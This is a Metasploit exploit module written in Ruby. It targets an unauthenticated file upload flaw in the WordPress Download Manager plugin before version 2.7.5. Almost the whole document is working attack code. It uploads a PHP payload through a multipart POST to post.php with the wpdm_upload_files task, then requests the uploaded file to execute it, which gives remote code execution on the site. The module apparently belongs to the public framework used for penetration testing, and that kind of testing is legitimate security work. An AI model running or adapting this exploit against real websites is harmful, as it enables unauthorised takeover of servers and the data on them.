Wordpress Download Manager (download-manager) Unauthenticated File Upload

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HTTP::Wordpress
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(
      info,
      'Name'           => 'Wordpress Download Manager (download-manager) Unauthenticated File Upload',
      'Description'    => %q{
        The WordPress download-manager plugin contains multiple unauthenticated file upload
        vulnerabilities which were fixed in version 2.7.5.
      },
      'Author'         =>
      [
        'Mickael Nadeau',     # initial discovery
        'Christian Mehlmauer' # metasploit module
      ],
      'License'        => MSF_LICENSE,
      'References'     =>
      [
        # The module exploits another vuln not mentioned in this post, but was also fixed
        ['URL', 'http://blog.sucuri.net/2014/12/security-advisory-high-severity-wordpress-download-manager.html'],
        ['WPVDB', '7706']
      ],
      'Privileged'     => false,
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Targets'        => [['download-manager < 2.7.5', {}]],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2014-12-03'))
  end

  def check
    check_plugin_version_from_readme('download-manager', '2.7.5')
  end

  def exploit
    filename = "#{rand_text_alpha(10)}.php"

    data = Rex::MIME::Message.new
    data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"Filedata\"; filename=\"#{filename}\"")

    print_status("Uploading payload")
    res = send_request_cgi(
      'method'   => 'POST',
      'uri'      => normalize_uri(wordpress_url_backend, 'post.php'),
      'ctype'    => "multipart/form-data; boundary=#{data.bound}",
      'data'     => data.to_s,
      'vars_get' => { 'task' => 'wpdm_upload_files' }
    )

    if res && res.code == 200 && res.body && res.body.length > 0 && res.body =~ /#{Regexp.escape(filename)}$/
      uploaded_filename = res.body
      register_files_for_cleanup(uploaded_filename)
      print_good("File #{uploaded_filename} successfully uploaded")
    else
      fail_with(Failure::Unknown, "#{peer} - Error on uploading file")
    end

    file_path = normalize_uri(target_uri, 'wp-content', 'uploads', 'download-manager-files', uploaded_filename)

    print_status("Calling uploaded file #{file_path}")
    send_request_cgi(
      {
        'uri'    => file_path,
        'method' => 'GET'
      }, 5)
  end
end